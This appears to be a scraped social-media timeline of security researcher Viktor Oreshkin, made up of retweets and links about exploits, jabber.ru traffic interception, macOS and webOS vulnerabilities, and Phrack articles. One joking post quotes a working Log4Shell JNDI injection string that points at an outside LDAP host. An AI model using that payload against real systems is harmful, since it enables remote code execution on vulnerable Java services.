Viktor Oreshkin retweeted
Well, shit.
Encrypted traffic interception on Hetzner and Linode targeting jabber.ru, the largest Russian XMPP (Jabber) messaging service.
The instant messaging have been wiretapped for 3 months, on both hosting providers in Germany.
notes.valdikss.org.ru/jabber…
Viktor Oreshkin retweeted
The writeup is now also live at:
sector7.computest.nl/post/20…
In a little over 3 hours, I’ll be giving the presentation “Process injection: breaking all macOS security layers with a single vulnerability” at #DEFCON30 track 3!
See you there, or check the livestream on twitch.tv/defcon_dctv_three!
I've finally got to update my stek29/idevice Homebrew tap
github.com/stek29/homebrew-i…
Should have latest versions of all supported formulaes now
Also it has bottles - so you can `brew install` without building everything from source
Viktor Oreshkin retweeted
Quick look at Rosetta on Linux
threedots.ovh/blog/2022/06/q…
@LGElectronics @LGUS @LGUK @LGRussia Can you please issue an update for older versions of webOS TV with ISRG Root X1 of @letsencrypt added to trusted CAs?
the only way to access billions of websites using Let’s Encrypt on LG TVs that are two years old is rooting them
oh, and LG doesn’t seem to have any plans to fix it
@internetofshit
Viktor Oreshkin retweeted
Time for my first proper blog post in 3 years:
V8 Heap pwn and /dev/memes - WebOS Root LPE
da.vidbuchanan.co.uk/blog/we…
Viktor Oreshkin retweeted
iOS exploits:
builds a 64-bit virtual machine from 70,000 AND/OR/XOR/XAND logic gates inside a corrupted PDF just to run jailbreak code
Java exploits:
${jndi:ldaps://notnow.dev:3389/lol}
xitter.cf/i41nbeer/status/147116…
Today we're publishing a detailed technical writeup of FORCEDENTRY, the zero-click iMessage exploit linked by Citizen Lab to the exploitation of journalists,
activists and dissidents around the world. googleprojectzero.blogspot.c…
Viktor Oreshkin retweeted
I love how this week went from default raspberry pi creds to RCE in almost everything. ♥️
Viktor Oreshkin retweeted
Dear @Foone followers,
Foone's account has been suspended due to copyright infringement. They are currently researching the DMCA notice. While they have no clue when their account will be reactivated, they're working hard to get back as soon as possible. Thanks for understanding!
Awesome research
I encourage you to read the article, and don’t skip the embedded tarball, at least READMEs :)
using JS for the last stage is my favorite part
kudos to phrack.org for everything it stands for :)
excuses for me being a bad writer :(
phrack.org/issues/70/12.html…
Viktor Oreshkin retweeted
kudos to phrack.org for everything it stands for :)
excuses for me being a bad writer :(
phrack.org/issues/70/12.html…















